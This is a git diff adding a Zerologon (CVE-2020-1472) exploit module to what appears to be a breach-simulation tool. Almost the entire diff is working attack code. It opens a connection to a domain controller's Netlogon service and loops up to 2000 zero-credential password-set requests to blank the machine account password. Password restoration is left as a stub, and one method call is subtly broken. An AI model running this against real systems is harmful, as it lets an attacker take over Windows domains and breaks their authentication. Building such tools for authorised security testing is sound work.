diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py new file mode 100644 index 000000000..2b1e04243 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -0,0 +1,85 @@ +""" +Zerologon, CVE-2020-1472 +Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. +""" + +import logging + +from impacket.dcerpc.v5 import epm, nrpc, transport + +from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger + +LOG = logging.getLogger(__name__) + + +class ZerologonExploiter(HostExploiter): + _TARGET_OS_TYPE = ['windows'] + _EXPLOITED_SERVICE = 'Netlogon' + + def __init__(self, host): + super().__init__(host) + self.vulnerable_port = None + + def _exploit_host(self): + MAX_ATTEMPTS = 2000 + zerologon_finger = ZerologonFinger() + + DC_IP = self.host.ip + DC_NAME = zerologon_finger.get_dc_name(DC_IP) + DC_HANDLE = '\\\\' + DC_NAME + + if zerologon_finger.get_host_fingerprint(self.host): # exploitable + LOG.info("Target vulnerable, changing account password to empty string") + + # Connect to the DC's Netlogon service. + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + + # Start exploiting attempts. + # Max attempts = 2000. Expected average number of attempts needed: 256. + result = None + for _ in range(0, MAX_ATTEMPTS): + try: + result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) + except nrpc.DCERPCSessionError as ex: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if ex.get_error_code() != 0xc0000022: + LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") + except BaseException as ex: + LOG.info(f"Unexpected error: {ex}") + + if result is not None: + break + + LOG.debug(f"Result error code: {result['ErrorCode']}") + if result['ErrorCode'] == 0: + LOG.info("Exploit complete!") + else: + LOG.info("Non-zero return code, something went wrong.") + + # how do i execute monkey on the exploited machine? + # restore password + + else: + LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") + + def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER): + request = nrpc.NetrServerPasswordSet2() + request['PrimaryName'] = DC_HANDLE + '\x00' + request['AccountName'] = TARGET_COMPUTER + '$\x00' + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = b'\x00' * 8 + authenticator['Timestamp'] = 0 + request['Authenticator'] = authenticator + request['ComputerName'] = TARGET_COMPUTER + '\x00' + request['ClearNewPassword'] = b'\x00' * 516 + return rpc_con.request(request) + + def restore_password(self): + # get nthash using secretsdump and then restore password + pass